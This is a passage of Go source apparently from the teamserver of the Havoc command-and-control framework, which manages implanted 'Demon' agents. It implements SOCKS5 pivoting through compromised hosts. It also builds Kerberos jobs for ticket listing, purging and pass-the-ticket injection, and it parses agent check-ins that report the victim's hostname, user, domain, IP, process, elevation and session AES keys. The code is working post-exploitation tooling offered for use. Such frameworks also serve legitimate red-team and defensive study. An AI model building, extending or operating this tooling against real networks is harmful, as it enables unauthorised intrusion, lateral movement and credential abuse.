{\n\t\t\t\treturn nil, errors.New(\"invalid socks5 port\")\n\t\t\t}\n\n\t\t\tvar found = false\n\n\t\t\ta.SocksSvrMtx.Lock()\n\n\t\t\tfor i := range a.SocksSvr {\n\n\t\t\t\tif a.SocksSvr[i].Addr == Param {\n\n\t\t\t\t\t/* socks proxy already exists! */\n\t\t\t\t\tfound = true\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ta.SocksSvrMtx.Unlock()\n\n\t\t\tif found {\n\t\t\t\treturn nil, errors.New(\"a socks5 proxy on that port already exists\")\n\t\t\t}\n\n\t\t\tSocks = socks.NewSocks(\"0.0.0.0:\" + Param)\n\t\t\tif Socks == nil {\n\t\t\t\treturn nil, errors.New(\"failed to create a new socks5 instance\")\n\t\t\t}\n\n\t\t\tSocks.SetHandler(func(s *socks.Socks, conn net.Conn) {\n\n\t\t\t\tvar (\n\t\t\t\t\tConnectJob        Job\n\t\t\t\t\tNegotiationHeader socks.NegotiationHeader\n\t\t\t\t\tSocksHeader       socks.SocksHeader\n\t\t\t\t\terr               error\n\t\t\t\t\tSocketId          int32\n\t\t\t\t)\n\n\t\t\t\t// parse all the methods supported by the client\n\t\t\t\tNegotiationHeader, err = socks.SubNegotiationClient(conn)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to read socks negotiation header: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// we only support NOAUTH, there is no real need to support other types\n\t\t\t\tHasNoAuth := false\n\t\t\t\tfor _, Method := range NegotiationHeader.Methods {\n\t\t\t\t\tif Method == socks.NoAuth {\n\t\t\t\t\t\tHasNoAuth = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// is NOAUTH is not an option, then bail out\n\t\t\t\tif HasNoAuth == false {\n\t\t\t\t\t_, err = conn.Write([]byte{socks.Version, socks.NoMatch})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogger.Error(\"Failed to send response to socks client: \" + err.Error())\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// tell the client that we support NOAUTH\n\t\t\t\t_, err = conn.Write([]byte{socks.Version, socks.NoAuth})\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to send response to socks client: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tSocksHeader, err = socks.ReadSocksHeader(conn)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to read socks header: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t/* check if it's a CONNECT command */\n\t\t\t\tif SocksHeader.Command != socks.ConnectCommand {\n\t\t\t\t\terr = socks.SendCommandNotSupported(conn)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogger.Error(\"Failed to send response to socks client: \" + err.Error())\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// NOTE: if you don't want to support IPv6, uncomment this:\n\t\t\t\t/*\n\t\t\t\t\tif SocksHeader.ATYP == socks.IPv6 {\n\t\t\t\t\t\terr = socks.SendAddressTypeNotSupported(conn)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlogger.Error(\"Failed to send response to socks client: \" + err.Error())\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t/* generate some random socket id */\n\t\t\t\tSocketId = int32(rand.Uint32())\n\n\t\t\t\ts.Clients = append(s.Clients, SocketId)\n\n\t\t\t\ta.SocksClientAdd(SocketId, conn, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port)\n\n\t\t\t\t/* now parse the host:port and send it to the agent. */\n\t\t\t\tConnectJob = Job{\n\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\tData: []any{\n\t\t\t\t\t\tSOCKET_COMMAND_CONNECT,\n\t\t\t\t\t\tSocketId,\n\t\t\t\t\t\tSocksHeader.ATYP,\n\t\t\t\t\t\tSocksHeader.IpDomain,\n\t\t\t\t\t\tSocksHeader.Port,\n\t\t\t\t\t},\n\t\t\t\t}\n\n\t\t\t\ta.AddJobToQueue(ConnectJob)\n\n\t\t\t\t/* goroutine to read from socks proxy socket and send it to the agent */\n\t\t\t\tgo func(SocketId int) {\n\n\t\t\t\t\tfor {\n\n\t\t\t\t\t\t/* check if the connection is still up */\n\t\t\t\t\t\tif client := a.SocksClientGet(SocketId); client != nil {\n\n\t\t\t\t\t\t\tif !client.Connected {\n\t\t\t\t\t\t\t\t/* if we are still not connected then skip */\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif Data, err := a.SocksClientRead(client); err == nil {\n\n\t\t\t\t\t\t\t\t/* only send the data if there is something... */\n\t\t\t\t\t\t\t\tif len(Data) > 0 {\n\n\t\t\t\t\t\t\t\t\t/* make a new job */\n\t\t\t\t\t\t\t\t\tvar job = Job{\n\t\t\t\t\t\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\t\t\t\t\t\tData: []any{\n\t\t\t\t\t\t\t\t\t\t\tSOCKET_COMMAND_WRITE,\n\t\t\t\t\t\t\t\t\t\t\tclient.SocketID,\n\t\t\t\t\t\t\t\t\t\t\tData,\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t/* append the job to the task queue */\n\t\t\t\t\t\t\t\t\ta.AddJobToQueue(job)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\tif err != io.EOF {\n\n\t\t\t\t\t\t\t\t\t/* we failed to read from the socks proxy */\n\t\t\t\t\t\t\t\t\tlogger.Error(fmt.Sprintf(\"Failed to read from socket %08x: %v\", SocketId, err))\n\n\t\t\t\t\t\t\t\t\ta.SocksClientClose(int32(SocketId))\n\n\t\t\t\t\t\t\t\t\t/* make a new job */\n\t\t\t\t\t\t\t\t\tvar job = Job{\n\t\t\t\t\t\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\t\t\t\t\t\tData: []any{\n\t\t\t\t\t\t\t\t\t\t\tSOCKET_COMMAND_CLOSE,\n\t\t\t\t\t\t\t\t\t\t\tint32(SocketId),\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t/* append the job to the task queue */\n\t\t\t\t\t\t\t\t\ta.AddJobToQueue(job)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t/* seems like it has been removed. let's exit this routine */\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}(int(SocketId))\n\n\t\t\t})\n\n\t\t\t/* TODO: append the socket to a list/array now */\n\t\t\ta.SocksSvrMtx.Lock()\n\n\t\t\ta.SocksSvr = append(a.SocksSvr, &SocksServer{\n\t\t\t\tServer: Socks,\n\t\t\t\tAddr:   Param,\n\t\t\t})\n\n\t\t\ta.SocksSvrMtx.Unlock()\n\n\t\t\tgo func() {\n\t\t\t\terr := Socks.Start()\n\t\t\t\tif err != nil {\n\t\t\t\t\tSocks.Failed = true\n\t\t\t\t\tif Message != nil {\n\t\t\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Failed to start socks proxy: %v\", err),\n\t\t\t\t\t\t\t\"Output\":  \"\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\tif Message != nil {\n\t\t\t\tif !Socks.Failed {\n\n\t\t\t\t\tvar(\n\t\t\t\t\t\tmsg string\n\t\t\t\t\t)\n\n\t\t\t\t\tif a.Info.SleepDelay == 0 && a.Info.SleepJitter == 0 {\n\t\t\t\t\t\tmsg = fmt.Sprintf(\"Started socks5 server on port %v\", Param)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmsg = fmt.Sprintf(\"Started socks5 server on port %v. Consider running: sleep 0\", Param)\n\t\t\t\t\t}\n\n\t\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\"Message\": msg,\n\t\t\t\t\t\t\"Output\":  \"\",\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil, nil\n\n\t\tcase \"socks list\":\n\n\t\t\tvar Output string\n\n\t\t\tOutput += fmt.Sprintf(\"\\n\")\n\t\t\tOutput += fmt.Sprintf(\" Port \\n\")\n\t\t\tOutput += fmt.Sprintf(\" ---- \\n\")\n\n\t\t\ta.SocksSvrMtx.Lock()\n\n\t\t\tfor _, server := range a.SocksSvr {\n\n\t\t\t\tOutput += fmt.Sprintf(\" %s \\n\", server.Addr)\n\n\t\t\t}\n\n\t\t\ta.SocksSvrMtx.Unlock()\n\n\t\t\tif Message != nil {\n\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\"Message\": \"Socks proxy server: \",\n\t\t\t\t\t\"Output\":  Output,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil, nil\n\n\t\tcase \"socks kill\":\n\n\t\t\t/* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */\n\t\t\tvar found = false\n\n\t\t\ta.SocksSvrMtx.Lock()\n\n\t\t\tfor i := range a.SocksSvr {\n\n\t\t\t\tif a.SocksSvr[i].Addr == Param {\n\n\t\t\t\t\t/* alright we found it */\n\t\t\t\t\tfound = true\n\n\t\t\t\t\t/* close the server */\n\t\t\t\t\ta.SocksSvr[i].Server.Close()\n\n\t\t\t\t\t/* close every connection that the agent has with this socks proxy */\n\t\t\t\t\tfor client := range a.SocksSvr[i].Server.Clients {\n\n\t\t\t\t\t\t/* close the client connection */\n\t\t\t\t\t\ta.SocksClientClose(a.SocksSvr[i].Server.Clients[client])\n\n\t\t\t\t\t\t/* make a new job */\n\t\t\t\t\t\tvar job = Job{\n\t\t\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\t\t\tData: []any{\n\t\t\t\t\t\t\t\tSOCKET_COMMAND_CLOSE,\n\t\t\t\t\t\t\t\ta.SocksSvr[i].Server.Clients[client],\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/* append the job to the task queue */\n\t\t\t\t\t\ta.AddJobToQueue(job)\n\n\t\t\t\t\t}\n\n\t\t\t\t\t/* remove the socks server from the array */\n\t\t\t\t\ta.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...)\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\ta.SocksSvrMtx.Unlock()\n\n\t\t\tif found {\n\n\t\t\t\tif Message != nil {\n\t\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\"Message\": \"Closed socks proxy \" + Param,\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\n\t\t\t\tif Message != nil {\n\t\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\"Message\": \"Failed to find and close socks proxy \" + Param,\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\treturn nil, nil\n\n\t\tcase \"socks clear\":\n\n\t\t\t/* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */\n\n\t\t\ta.SocksSvrMtx.Lock()\n\n\t\t\tfor i := range a.SocksSvr {\n\n\t\t\t\t/* close the server */\n\t\t\t\ta.SocksSvr[i].Server.Close()\n\n\t\t\t\t/* close every connection that the agent has with this socks proxy */\n\t\t\t\tfor client := range a.SocksSvr[i].Server.Clients {\n\n\t\t\t\t\t/* close the client connection */\n\t\t\t\t\ta.SocksClientClose(a.SocksSvr[i].Server.Clients[client])\n\n\t\t\t\t\t/* make a new job */\n\t\t\t\t\tvar job = Job{\n\t\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\t\tData: []any{\n\t\t\t\t\t\t\tSOCKET_COMMAND_CLOSE,\n\t\t\t\t\t\t\ta.SocksSvr[i].Server.Clients[client],\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\n\t\t\t\t\t/* append the job to the task queue */\n\t\t\t\t\ta.AddJobToQueue(job)\n\n\t\t\t\t}\n\n\t\t\t\t/* remove the socks server from the array */\n\t\t\t\ta.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...)\n\n\t\t\t}\n\n\t\t\ta.SocksSvrMtx.Unlock()\n\n\t\t\tif Message != nil {\n\t\t\t\t*Message = map[string]string{\n\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\"Message\": \"Successfully closed all socks proxies \" + Param,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_KERBEROS:\n\t\tvar (\n\t\t\tSubCommand string\n\t\t)\n\n\t\tif val, ok := Optional[\"Command\"]; ok {\n\t\t\tSubCommand = val.(string)\n\t\t} else {\n\t\t\treturn job, errors.New(\"kerberos field Command is empty\")\n\t\t}\n\n\t\tswitch SubCommand {\n\n\t\tcase \"luid\":\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tKERBEROS_COMMAND_LUID,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"klist\":\n\t\t\tvar (\n\t\t\t\tluid int64\n\t\t\t\targ1 string\n\t\t\t\targ2 string\n\t\t\t)\n\n\t\t\tif val, ok := Optional[\"Argument1\"]; ok {\n\t\t\t\targ1 = val.(string)\n\t\t\t} else {\n\t\t\t\treturn job, errors.New(\"klist field Argument1 is empty\")\n\t\t\t}\n\n\t\t\tif arg1 == \"/all\" {\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tKERBEROS_COMMAND_KLIST,\n\t\t\t\t\t0,\n\t\t\t\t}\n\t\t\t} else if arg1 == \"/luid\" {\n\t\t\t\tif val, ok := Optional[\"Argument2\"]; ok {\n\t\t\t\t\targ2 = val.(string)\n\t\t\t\t\tif strings.HasPrefix(arg2, \"0x\") {\n\t\t\t\t\t\tluid, err = strconv.ParseInt(arg2[2:], 16, 64)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tluid, err = strconv.ParseInt(arg2, 16, 64)\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Invalid Luid value: \" + arg2)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"klist field Argument2 is empty\")\n\t\t\t\t}\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tKERBEROS_COMMAND_KLIST,\n\t\t\t\t\t1,\n\t\t\t\t\tint(luid),\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"purge\":\n\t\t\tvar (\n\t\t\t\tluid int64\n\t\t\t\targ1 string\n\t\t\t)\n\n\t\t\tif val, ok := Optional[\"Argument\"]; ok {\n\t\t\t\targ1 = val.(string)\n\t\t\t} else {\n\t\t\t\treturn job, errors.New(\"purge field Argument is empty\")\n\t\t\t}\n\n\t\t\tif strings.HasPrefix(arg1, \"0x\") {\n\t\t\t\tluid, err = strconv.ParseInt(arg1[2:], 16, 64)\n\t\t\t} else {\n\t\t\t\tluid, err = strconv.ParseInt(arg1, 16, 64)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn job, errors.New(\"Invalid Luid value: \" + arg1)\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tKERBEROS_COMMAND_PURGE,\n\t\t\t\tint(luid),\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"ptt\":\n\t\t\tvar (\n\t\t\t\tluid   int64\n\t\t\t\targ    string\n\t\t\t\tticket []byte\n\t\t\t)\n\n\t\t\tticket, err = base64.StdEncoding.DecodeString(Optional[\"Ticket\"].(string))\n\t\t\tif err != nil {\n\t\t\t\treturn job, errors.New(\"ptt field Ticket is invalid\")\n\t\t\t}\n\n\t\t\tif val, ok := Optional[\"Luid\"]; ok {\n\t\t\t\targ = val.(string)\n\t\t\t} else {\n\t\t\t\treturn job, errors.New(\"ptt field Luid is empty\")\n\t\t\t}\n\n\t\t\tif strings.HasPrefix(arg, \"0x\") {\n\t\t\t\tluid, err = strconv.ParseInt(arg[2:], 16, 64)\n\t\t\t} else {\n\t\t\t\tluid, err = strconv.ParseInt(arg, 16, 64)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn job, errors.New(\"Invalid Luid value: \" + arg)\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tKERBEROS_COMMAND_PTT,\n\t\t\t\tticket,\n\t\t\t\tint(luid),\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tdefault:\n\t\t}\n\n\t\tbreak\n\n\tdefault:\n\t\treturn job, errors.New(fmt.Sprint(\"Command not found\", Command))\n\t}\n\n\treturn job, nil\n}\n\nfunc (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {\n\tvar NameID, _ = strconv.ParseInt(a.NameID, 16, 64)\n\tAgentID := int(NameID)\n\n\t/* if the RequestID was not generated by the TS, reject the request */\n\tif a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {\n\t\tlogger.Warn(fmt.Sprintf(\"Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity\", AgentID, CommandID, RequestID))\n\t\treturn\n\t}\n\n\n\tswitch CommandID {\n\n\tcase COMMAND_GET_JOB:\n\t\t/* this is most likely never going to reach. but just in case... */\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_GET_JOB ??\", AgentID))\n\t\tbreak\n\n\tcase COMMAND_EXIT:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tExitMethod = Parser.ParseInt32()\n\t\t\t\tMessage    = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_EXIT, ExitMethod: %d\", AgentID, ExitMethod))\n\n\t\t\tif ExitMethod == 1 {\n\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\tMessage[\"Message\"] = \"Agent has been tasked to cleanup and exit thread. cya...\"\n\t\t\t} else if ExitMethod == 2 {\n\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\tMessage[\"Message\"] = \"Agent has been tasked to cleanup and exit process. cya...\"\n\t\t\t}\n\n\t\t\tteamserver.Died(a)\n\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_EXIT, Invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_KILL_DATE:\n\t\tvar (\n\t\t\tMessage = make(map[string]string)\n\t\t)\n\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KILL_DATE\", AgentID))\n\n\t\tMessage[\"Type\"] = \"Good\"\n\t\tMessage[\"Message\"] = \"Agent has been reached its kill date, tasked to cleanup and exit thread. cya...\"\n\n\t\tteamserver.Died(a)\n\t\ta.RequestCompleted(RequestID)\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\tcase COMMAND_CHECKIN:\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CHECKIN\", AgentID))\n\t\tvar Message = make(map[string]string)\n\n\t\tMessage[\"Type\"] = \"Info\"\n\t\tMessage[\"Message\"] = \"Received checkin request\"\n\n\t\tif Parser.Length() >= 32+16 {\n\t\t\tvar (\n\t\t\t\tDemonID      int\n\t\t\t\tHostname     string\n\t\t\t\tDomainName   string\n\t\t\t\tUsername     string\n\t\t\t\tInternalIP   string\n\t\t\t\tProcessName  string\n\t\t\t\tProcessPID   int\n\t\t\t\tProcessTID   int\n\t\t\t\tOsVersion    []int\n\t\t\t\tOsArch       int\n\t\t\t\tElevated     int\n\t\t\t\tBaseAddress  int64\n\t\t\t\tProcessArch  int\n\t\t\t\tProcessPPID  int\n\t\t\t\tSleepDelay   int\n\t\t\t\tSleepJitter  int\n\t\t\t\tKillDate     int64\n\t\t\t\tWorkingHours int32\n\t\t\t)\n\n\t\t\ta.Encryption.AESKey = Parser.ParseAtLeastBytes(32)\n\t\t\ta.Encryption.AESIv = Parser.ParseAtLeastBytes(16)\n\n\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {\n\t\t\t\tDemonID = Parser.ParseInt32()\n\t\t\t\tHostname = Parser.ParseString()\n\t\t\t\tUsername = Parser.ParseString()\n\t\t\t\tDomainName = Parser.ParseString()\n\t\t\t\tInternalIP = Parser.ParseString()\n\t\t\t\tProcessName = Parser.ParseUTF16String()\n\t\t\t\tProcessPID = Parser.ParseInt32()\n\t\t\t\tProcessTID = Parser.ParseInt32()\n\t\t\t\tProcessPPID = Parser.ParseInt32()\n\t\t\t\tProcessArch = Parser.ParseInt32()\n\t\t\t\tElevated = Parser.ParseInt32()\n\t\t\t\tBaseAddress = Parser.ParseInt64()\n\t\t\t\tOsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}\n\t\t\t\tOsArch = Parser.ParseInt32()\n\t\t\t\tSleepDelay = Parser.ParseInt32()\n\t\t\t\tSleepJitter = Parser.ParseInt32()\n\t\t\t\tKillDate = Parser.ParseInt64()\n\t\t\t\tWorkingHours = int32(Parser.ParseInt32())\n\n\t\t\t\ta.Active = true\n\n\t\t\t\ta.NameID = fmt.Sprintf(\"%08x\", DemonID)\n\t\t\t\ta.Info.FirstCallIn = a.Info.FirstCallIn\n\t\t\t\ta.Info.LastCallIn = a.Info.LastCallIn\n\t\t\t\ta.Info.Hostname = Hostname\n\t\t\t\ta.Info.DomainName = DomainName\n\t\t\t\ta.Info.Username = Username\n\t\t\t\ta.Info.InternalIP = InternalIP\n\t\t\t\ta.Info.SleepDelay = SleepDelay\n\t\t\t\ta.Info.SleepJitter = SleepJitter\n\t\t\t\ta.Info.KillDate = KillDate\n\t\t\t\ta.Info.WorkingHours = WorkingHours\n\n\t\t\t\t// a.Info.ExternalIP \t= strings.Split(connection.RemoteAddr().String(), \":\")[0]\n\t\t\t\t// a.Info.Listener \t= t.Name\n\n\t\t\t\tswitch ProcessArch {\n\n\t\t\t\tcase PROCESS_ARCH_UNKNOWN:\n\t\t\t\t\ta.Info.ProcessArch = \"Unknown\"\n\t\t\t\t\tbreak\n\n\t\t\t\tcase PROCESS_ARCH_X64:\n\t\t\t\t\ta.Info.ProcessArch = \"x64\"\n\t\t\t\t\tbreak\n\n\t\t\t\tcase PROCESS_ARCH_X86:\n\t\t\t\t\ta.Info.ProcessArch = \"x86\"\n\t\t\t\t\tbreak\n\n\t\t\t\tcase PROCESS_ARCH_IA64:\n\t\t\t\t\ta.Info.ProcessArch = \"IA64\"\n\t\t\t\t\tbreak\n\n\t\t\t\tdefault:\n\t\t\t\t\ta.Info.ProcessArch = \"Unknown\"\n\t\t\t\t\tbreak\n\n\t\t\t\t}\n\n\t\t\t\ta.Info.OSVersion = getWindowsVersionString(OsVersion)\n\n\t\t\t\tswitch OsArch {\n\t\t\t\tcase 0:\n\t\t\t\t\ta.Info.OSArch = \"x86\"\n\t\t\t\tcase 9:\n\t\t\t\t\ta.Info.OSArch = \"x64/AMD64\"\n\t\t\t\tcase 5:\n\t\t\t\t\ta.Info.OSArch = \"ARM\"\n\t\t\t\tcase 12:\n\t\t\t\t\ta.Info.OSArch = \"ARM64\"\n\t\t\t\tcase 6:\n\t\t\t\t\ta.Info.OSArch = \"Itanium-based\"\n\t\t\t\tdefault:\n\t\t\t\t\ta.Info.OSArch = \"Unknown (\" + strconv.Itoa(OsArch) + \")\"\n\t\t\t\t}\n\n\t\t\t\ta.Info.Elevated = \"false\"\n\t\t\t\tif Elevated == 1 {\n\t\t\t\t\ta.Info.Elevated = \"true\"\n\t\t\t\t}\n\n\t\t\t\tprocess := strings.Split(ProcessName, \"\\\\\")\n\n\t\t\t\ta.Info.ProcessName = process[len(process)-1]\n\t\t\t\ta.Info.ProcessPID  = ProcessPID\n\t\t\t\ta.Info.ProcessTID  = ProcessTID\n\t\t\t\ta.Info.ProcessPPID = ProcessPPID\n\t\t\t\ta.Info.ProcessPath = ProcessName\n\t\t\t\ta.Info.BaseAddress = BaseAddress\n\n\t\t\t\ta.SessionDir = logr.LogrInstance.AgentPath + \"/\" + a.NameID\n\n\t\t\t\tMessage[\"Output\"] = fmt.Sprintf(\n\t\t\t\t\t\"\\n\"+\n\t\t\t\t\t\t\"Teamserver:\\n\"+\n\t\t\t\t\t\t\"  - Session Path       : %v\\n\"+\n\t\t\t\t\t\t\"\\n\"+\n\t\t\t\t\t\t\"Meta Data:\\n\"+\n\t\t\t\t\t\t\"  - Agent ID           : %v\\n\"+\n\t\t\t\t\t\t\"  - Magic Value        : %x\\n\"+\n\t\t\t\t\t\t\"  - First Call In      : %v\\n\"+\n\t\t\t\t\t\t\"  - Last  Call In      : %v\\n\"+\n\t\t\t\t\t\t\"  - AES Key            : %v\\n\"+\n\t\t\t\t\t\t\"  - AES IV             : %v\\n\"+\n\t\t\t\t\t\t\"  - Sleep Delay        : %v\\n\"+\n\t\t\t\t\t\t\"  - Sleep Jitter       : %v\\n\"+\n\t\t\t\t\t\t\"\\n\"+\n\t\t\t\t\t\t\"Host Info:\\n\"+\n\t\t\t\t\t\t\"  - Host Name          : %v\\n\"+\n\t\t\t\t\t\t\"  - User Name          : %v\\n\"+\n\t\t\t\t\t\t\"  - Domain Name        : %v\\n\"+\n\t\t\t\t\t\t\"  - Internal IP        : %v\\n\"+\n\t\t\t\t\t\t\"\\n\"+\n\t\t\t\t\t\t\"Process Info:\\n\"+\n\t\t\t\t\t\t\"  - Process Name       : %v\\n\"+\n\t\t\t\t\t\t\"  - Process Arch       : %v\\n\"+\n\t\t\t\t\t\t\"  - Process ID         : %v\\n\"+\n\t\t\t\t\t\t\"  - Thread ID          : %v\\n\"+\n\t\t\t\t\t\t//\"  - Process Parent ID  : %v\\n\" +\n\t\t\t\t\t\t\"  - Process Path       : %v\\n\"+\n\t\t\t\t\t\t\"  - Process Elevated   : %v\\n\"+\n\t\t\t\t\t\t\"  - Base Address       : 0x%x\\n\"+\n\t\t\t\t\t\t\"\\n\"+\n\t\t\t\t\t\t\"Operating System:\\n\"+\n\t\t\t\t\t\t\"  - Version            : %v\\n\"+\n\t\t\t\t\t\t\"  - Build              : %v.%v.%v.%v.%v\\n\"+\n\t\t\t\t\t\t\"  - Arch               : %v\\n\"+\n\t\t\t\t\t\t\"\",\n\n\t\t\t\t\t// Teamserver\n\t\t\t\t\ta.SessionDir,\n\n\t\t\t\t\t// Meta Data\n\t\t\t\t\ta.NameID,\n\t\t\t\t\ta.Info.MagicValue,\n\t\t\t\t\ta.Info.FirstCallIn,\n\t\t\t\t\ta.Info.LastCallIn,\n\t\t\t\t\thex.EncodeToString(a.Encryption.AESKey),\n\t\t\t\t\thex.EncodeToString(a.Encryption.AESIv),\n\t\t\t\t\ta.Info.SleepDelay,\n\t\t\t\t\ta.Info.SleepJitter,\n\n\t\t\t\t\t// Host info\n\t\t\t\t\ta.Info.Hostname,\n\t\t\t\t\ta.Info.Username,\n\t\t\t\t\ta.Info.DomainName,\n\t\t\t\t\ta.Info.InternalIP,\n\n\t\t\t\t\t// Process Info\n\t\t\t\t\ta.Info.ProcessName,\n\t\t\t\t\ta.Info.ProcessArch,\n\t\t\t\t\ta.Info.ProcessPID,\n\t\t\t\t\ta.Info.ProcessTID,\n\t\t\t\t\t//a.Info.ProcessPPID,\n\t\t\t\t\ta.Info.ProcessPath,\n\t\t\t\t\ta.Info.Elevated,\n\t\t\t\t\ta.Info.BaseAddress,\n\n\t\t\t\t\t// Operating System Info\n\t\t\t\t\ta.Info.OSVersion,\n\t\t\t\t\tOsVersion[0], OsVersion[1], OsVersion[2], OsVersion[3], OsVersion[4],\n\t\t\t\t\ta.Info.OSArch,\n\n\t\t\t\t\t// TODO: add Optional data too\n\t\t\t\t)\n\n\t\t\t\tteamserver.AgentUpdate(a)\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CHECKIN, Invalid packet\", AgentID))\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: 